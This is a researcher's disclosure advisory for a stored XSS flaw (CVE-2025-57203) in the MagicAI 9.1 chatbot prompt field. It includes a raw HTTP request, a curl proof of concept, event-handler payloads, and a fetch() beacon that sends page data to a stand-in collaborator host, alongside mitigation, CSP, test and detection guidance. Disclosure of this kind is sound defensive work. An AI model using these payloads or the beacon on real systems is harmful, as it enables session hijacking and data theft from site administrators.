Skip to main content

Command Palette

Search for a command to run...

CVE-2025-57203: Stored XSS in MagicAI 9.1 (AI Chat) Enables Arbitrary JavaScript Execution

Updated
7 min read
CVE-2025-57203: Stored XSS in MagicAI 9.1 (AI Chat) Enables Arbitrary JavaScript Execution
S

| Vulnerability Operations @ Synack | Bug Bounty Hunter. Security Researcher. Wannabe hacker, sharing my thoughts on how to be successful in the cyber security space, after pivoting careers of being a decade long Sales Director.

Discovered by: Michael Kim & Sergio Medeiros
Vendor: LiquidThemes
Product: MagicAI (a.k.a. MagicProject AI)
Affected version: 9.1 (other versions untested)
Impact: Arbitrary JavaScript execution in users’ browsers (stored XSS)
Attack type: Authenticated remote (admin)
Component: AI Chat – “chatbot generation” feature
Status: Vendor notified by email; no response received as of September 20, 2025 (PT)

MagicAI is a commercial SaaS kit for AI-powered content, chat, and media generation sold by LiquidThemes. Its official documentation and CodeCanyon listing describe an AI content and chat platform deployed by end-customers on their own servers. (MagicAI Documentation)


Executive summary (for decision-makers)

A stored cross-site scripting (XSS) flaw in MagicAI 9.1 allows an authenticated administrator to inject HTML/JS via the chatbot generation “prompt” field. The payload is stored and later rendered unsanitized when viewing chatbot output, causing JavaScript to run in any viewer’s browser (including other admins). This enables account takeover via session riding or token theft, forced administrative actions, and data exfiltration.

  • CVE: CVE-2025-57203

  • CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation)

  • Severity: High (authenticated stored XSS with admin reach and no CSP)

  • Likely blast radius: All tenants/users who can view generated chatbot content in the affected instance


TL;DR (what’s exploitable)

  • Endpoint: POST /dashboard/user/generator/generate-stream

  • Parameter: prompt (multipart/form-data)

  • Example payload: <details/open/ontoggle=alert(1)>

  • Trigger: Open the generated chatbot output page; the stored payload executes.

POST /dashboard/user/generator/generate-stream HTTP/2
Host: demo.magicproject.ai
Cookie: <snipped>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/event-stream
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.magicproject.ai/dashboard/user/openai/chat/ai-chat/career-counselor
X-Csrf-Token: OSPJdFDYo70unSHTRzq1Dx2Zwg1xondMWsWASQAo
Content-Type: multipart/form-data; boundary=---------------------------36975424121810644822419014182
Content-Length: 1498
Origin: https://demo.magicproject.ai
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="template_type"

chatbot
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="prompt"

<details/open/ontoggle=alert(1)>
-----------------------------36975424121810644822419014182
Content-Disposition: form-data; name="chat_id"

How we found it — step-by-step methodology

The flow below is reproducible on a stock MagicAI 9.1 installation. Perform testing only on environments you own or are authorized to test.

  1. Establish admin context
    Log in as an administrative user in MagicAI. Navigate to the Dashboard → Generators → Chatbot (wording may vary by build/locale). Documentation confirms MagicAI’s AI Chat features exist and are configurable by admins. (MagicAI Documentation)

  2. Identify the submission endpoint
    Using the browser’s Network tab, observe that submitting a new chatbot involves a multipart/form-data POST to:

     /dashboard/user/generator/generate-stream
    

    The request includes a prompt field that carries the natural-language instruction used to seed the bot.

  3. Probe for client/server filtering
    Submit harmless HTML markers (e.g., <i>probe</i>) as the prompt. Save and open any page where the generated chatbot output is displayed (preview or listing). The text renders as HTML, indicating the value is stored and later injected into an HTML context without escaping.

  4. Escalate to event-bearing HTML
    Replace the probe with an HTML element that fires an event without <script>, for example:

     <details/open/ontoggle=alert(1)>
    

    This uses a non-script tag with an event handler—useful when <script> is filtered but attributes aren’t.

  5. Confirm persistence (stored XSS)
    Reload any page that renders the chatbot’s output (e.g., the bot preview). The alert(1) dialog fires in the browser without further interaction, confirming a stored XSS, not merely reflected.

  6. Assess containment and CSP
    Check response headers for a Content-Security-Policy (CSP). In the tested instance, no effective CSP blocked inline event handlers. Without CSP nonces/hashes and strict-dynamic, inline JS executes freely, heightening impact.

  7. Demonstrate impact safely
    Replace alert(1) with a benign beacon to your logging endpoint to prove arbitrary JS execution (keep it non-destructive and private during testing):

     <details open ontoggle=fetch('https://your-collab.example/xss?q='+encodeURIComponent(location.href))>
    

    In real-world conditions, an attacker could:

    • Perform privileged actions as the victim (CSRF-style with full DOM context).

    • Exfiltrate access tokens stored in the page or localStorage (if used).

    • Install a DOM hook to persist control over admin workflows.


Reproduction (curl PoC)

Replace boundary and cookie values with those from your authenticated session. This is a safe demo payload that only pops an alert.

curl -i -sS -k \
  -H 'Cookie: <your_admin_session_cookie>' \
  -H 'Content-Type: multipart/form-data; boundary=----x' \
  --data-binary $'------x\r\nContent-Disposition: form-data; name="prompt"\r\n\r\n<details open ontoggle=alert(1)>\r\n------x--\r\n' \
  https://<your-magicai-host>/dashboard/user/generator/generate-stream

Then navigate to the chatbot’s preview/output page. The alert confirms execution.


Why this happens (root cause)

  • Untrusted input from prompt is stored server-side and later rendered as HTML in a browser context.

  • No output encoding (e.g., &, <, >, ", ') occurs prior to HTML injection.

  • No effective CSP is present to block inline event handlers or javascript: URLs.

  • The rendering path likely uses a template or DOM sink (e.g., innerHTML) that trusts the stored content.


Risk & real-world abuse scenarios

  • Admin-on-Admin compromise: In teams with multiple admins or SSO-provisioned staff, a single malicious admin account can implant payloads that execute for every other admin viewing the bot.

  • Session riding & data theft: JavaScript can perform state-changing POSTs, alter pricing/plans, or export data via the authenticated UI. If tokens are exposed to the DOM or localStorage, account takeover follows.

  • Extension to other roles: Any role capable of viewing the generated chatbot output becomes a target. Multi-tenant deployments expand the blast radius.


Affected scope

  • Confirmed on MagicAI 9.1. Other versions may be affected but were not tested in this advisory.

Mitigations & vendor guidance

1) Encode on output (primary fix)

  • Treat all user-controlled fields (including admin-entered content) as untrusted.

  • HTML-encode before insertion into the DOM or templates. Use your templating engine’s auto-escaping features by default.

2) Sanitize when you must allow HTML

  • If rich text is required, sanitize with a strict allow-list (e.g., DOMPurify with ALLOWED_TAGS/ALLOWED_ATTR).

  • Disallow event attributes (on*), javascript: URLs, iframes, and SVG/MathML unless strictly necessary.

3) Enforce a strong CSP (defense-in-depth)

  • Use Content-Security-Policy with nonces/hashes and strict-dynamic; disable unsafe-inline.

  • Example starting point:

      default-src 'self'; base-uri 'none'; object-src 'none';
      script-src 'nonce-<random>' 'strict-dynamic';
      frame-ancestors 'none'; upgrade-insecure-requests
    

    (Adapt to your asset pipeline; ensure all inline scripts are nonce’d.)

4) Remove dangerous sinks

  • Replace innerHTML/dangerous rendering with textContent or safe binders.

  • Centralize render helpers so escaping rules are never bypassed ad hoc.

5) Add regression tests

  • Unit/functional tests that submit <img src=x onerror=alert(1)> or <details/open/ontoggle=prompt(1> variants and assert no execution.

  • Include these in CI for every view that renders chatbot content.

6) Operational controls (until patched)

  • Temporarily disable the chatbot generation feature for non-essential admins.

  • Flag or strip HTML from prompt server-side as an interim hotfix.

  • Deploy a WAF rule to detect event attributes (\bon\w+=) in multipart fields (helpful but bypassable).


Detection & triage

  • Server logs / DB: Search chatbot content tables/fields for suspicious substrings (e.g., <details, <img, onerror=, ontoggle=, javascript:).

  • Browser console errors: Clusters of CSP or DOM-based warnings (once CSP is enabled) indicate attempted exploits.

  • Analytics/telemetry: Unexpected outbound requests from admin views (e.g., to attacker domains) following chatbot page loads.


Timeline & disclosure

  • Initial discovery: By Michael Kim and Sergio Medeiros during routine admin-side testing of MagicAI 9.1.

  • Vendor contact: Notification sent via email to LiquidThemes.

  • Current status: No vendor response as of September 20, 2025 (America/Los_Angeles).

  • Identifier: CVE-2025-57203.


Formal CVE description (for databases)

MagicAI (MagicProject AI) 9.1 by LiquidThemes is affected by a stored cross-site scripting (XSS) vulnerability in the chatbot generation feature available to authenticated admin users. The flaw resides in the prompt parameter submitted to /dashboard/user/generator/generate-stream via a multipart/form-data POST request. Due to insufficient input sanitization and lack of output encoding, attackers can inject HTML-based JavaScript payloads such as <details open ontoggle=alert(1)>. The payload is stored and rendered unsanitized in subsequent views, executing in other users’ browsers when they access affected content. This permits arbitrary JavaScript execution in the context of another user, enabling session hijacking, privilege escalation, data exfiltration, or administrative account takeover. The application does not implement a restrictive Content Security Policy (CSP). A fix should include proper sanitization, output encoding, and strong CSP enforcement.

Reference: Product listing & docs: MagicAI by LiquidThemes. (CodeCanyon)


FAQ

Is this server-side code execution (RCE)?
No. This is browser code execution (stored XSS). However, with admin context it can be devastating—privileged actions, data access, and potential full administrative takeover.

Does filtering <script> tags fix it?
Not by itself. Modern XSS avoids <script> using event attributes, SVG, srcdoc, javascript: URLs, etc. Use allow-list sanitization and output encoding; back it up with a strict CSP.

We only have one admin—are we safe?
Not necessarily. A compromised or shared admin account can implant payloads that persist and execute later, including against future administrators.


Acknowledgments

  • Discovery & research: Michael Kim and Sergio Medeiros

  • Report author / advisory preparation: grumpz (blog)


Suggested SEO metadata (drop-in)

Title: CVE-2025-57203 — Stored XSS in MagicAI 9.1 (MagicProject AI) Enables Arbitrary JavaScript Execution
Meta description (≤160 chars): MagicAI 9.1 stored XSS (CVE-2025-57203) lets admins inject JS via chatbot prompts. Impact: account takeover. Fix: encode, sanitize, CSP.
Keywords: MagicAI vulnerability, MagicProject AI, LiquidThemes, CVE-2025-57203, stored XSS, AI Chat, generate-stream, admin takeover, CSP, DOMPurify


References

  • MagicAI documentation & vendor attribution (LiquidThemes), with pointers to listing and support links. (MagicAI Documentation)

  • CodeCanyon product page (MagicAI by LiquidThemes). (CodeCanyon)


If you run MagicAI in production, treat this as a priority: remove HTML rendering from prompt outputs, ship a strict CSP with nonces, and add automated tests before re-enabling rich content.